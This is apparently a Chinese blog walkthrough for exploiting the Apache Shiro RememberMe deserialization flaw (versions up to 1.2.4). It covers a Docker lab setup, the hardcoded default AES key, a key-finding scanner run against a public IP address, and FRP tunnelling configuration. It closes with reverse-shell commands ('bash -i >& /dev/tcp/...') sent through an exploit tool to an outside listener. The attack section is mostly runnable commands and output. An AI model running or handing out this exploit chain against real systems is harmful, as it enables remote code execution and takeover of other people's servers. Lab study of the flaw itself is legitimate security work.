0×00概述
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。
意思就是说shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值>>>Base64解码>>>AES解密>>>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
0×01 环境搭建
漏洞版本<=1.2.4,使用docker搭建
- 拉取镜像到本地
$ docker pull medicean/vulapps:s_shiro_1
2.启动环境
$ docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
访问80端口即可访问漏洞环境
Docker搭建参考:lovesickness博客
0×02 工具准备
## 漏洞利用条件 :
由于使用来aes加密,要想成功利用漏洞则需要获取aes的加密密钥,而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==。这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。
##Check
##Attack
需要环境
Jdk1.8
Python3
pip3 install -r requirements.txt
0×03 检测漏洞
##1.检查是否存在默认的key。
这里我们使用一个 Shiro_exploit,获取key
[Github项目地址](https://github.com/insightglacier/Shiro_exploit” Github项目地址”)
python3 shiro_exploit.py -u URL地址
python shiro_exploit.py -u http://39.100.151.1/
##成功获取到key
vulnerable:True url:http://39.100.151.1/ CipherKey:kPH+bIxk5D2deZiIxcaaaA==
##记录一下这个key后面需要用到
0×04 漏洞利用
##首先
我们获取到了key安装套路可以进行下一步了à反弹shell进行提权。可是,因为我的电脑是内网所以无法把本地的IP地址通过外网反弹到shell。这个就到了我们这篇文章的重点内容了,如何在内网的情况下进行反弹shell
。先说一下我尝试了各种各样的方法都没弄好,其中包括有花生壳,ngrok和路由器映射。直到碰见了FRP简直是内网穿透神器。
##前言
对于没有公网 IP 的内网用户来说,远程管理或在外网访问内网机器上的服务是一个问题。
今天给大家介绍一款好用内网穿透工具 FRP,FRP 全名:Fast Reverse Proxy。FRP 是一个使用 Go 语言开发的高性能的反向代理应用,可以帮助您轻松地进行内网穿透,对外网提供服务。FRP 支持 TCP、UDP、HTTP、HTTPS等协议类型,并且支持 Web 服务根据域名进行路由转发。
FRP 项目地址:https://github.com/fatedier/frp
##FRP 的作用
利用处于内网或防火墙后的机器,对外网环境提供 HTTP 或 HTTPS 服务。
对于 HTTP, HTTPS 服务支持基于域名的虚拟主机,支持自定义域名绑定,使多个域名可以共用一个 80 端口。
利用处于内网或防火墙后的机器,对外网环境提供 TCP 和 UDP 服务,例如在家里通过 SSH 访问处于公司内网环境内的主机。
##配置前准备
一台公网服务器(因为是把内网的端口进行转发到公网上面的)
##配置详情
需要下载两个分别在公网服务器和内网机器进行配置
公网服务器(服务端)
内网服务器(客户端)
打开 https://github.com/fatedier/frp/releases
选择适合自己机器版本的frp进行下载
因为我的本机和外网服务器都是windows系统,所以我下载的两个都是 frp_0.33.0_windows_amd64.zip 可以根据自己的机器系统自行选择,具体操作是差不多的。
刚才已经说了,需要下载两个分别在公网服务器和内网机器分别进行配置,下面我们先配置一下公网服务器上面的。
##公网服务器配置
打开下载好的文件夹是这个样子
对于公网服务器的配置我们只需要配置服务端
打开 frps.ini 可以看到
[common]
bind_addr = 0.0.0.0
bind_port = 7000 #与客户端绑定的进行通信的端口
接着cmd打开运行
frps.exe -c frps.ini
可以看到正在监听7000端口
frps tcp listen on 0.0.0.0:7000
start frps success
##内网服务器配置
配置好公网服务端进行监听之后开始配置内网客户端进行通信
跟上面一样的操作打开文件夹
打开 frpc.ini 进行配置
[common]
server_addr = 193.112.36.58 #外网IP
server_port = 7000 #跟外网监听的端口一致
[tcp]
type = tcp #tcp协议
local_ip = 127.0.0.1
local_port = 6677 #内网的端口
remote_port = 6000 #转发到外网的端口
配置好之后打开开始监听,相当于把我127.0.0.1:6677转发到193.112.36.58:6000
接下来我们用nc监听本机的6677端口
nc.exe -lvvp 6677
监听frp
frpc.exe -c frpc.ini
#反弹shell提权
最后我们就可以用
https://github.com/teamssix/shiro-check-rce 来进行提权
配置如下:
python3 shiro-check-rce.py -u {target_URL} -c "bash -i >& /dev/tcp/{your_nc_ip}/{your_nc_port} 0>&1" -k {key}
示例:python3 shiro-check-rce.py -u http://192.168.175.146:8080/ -c "bash -i >& /dev/tcp/192.168.175.152/9527 0>&1" -k kPH+bIxk5D2deZiIxcaaaA==
配置我们自己的(-k指定的就是我们上面获取到的key,也可以不指定)
python shiro-check-rce.py -u http://39.100.151.1/ -c "bash -i >& /dev/tcp/193.112.36.58/6000 0>&1" -k kPH+bIxk5D2deZiIxcaaaA==
##成功反弹到shell!
#希望可以进入90跟师傅们学习,多谢大家!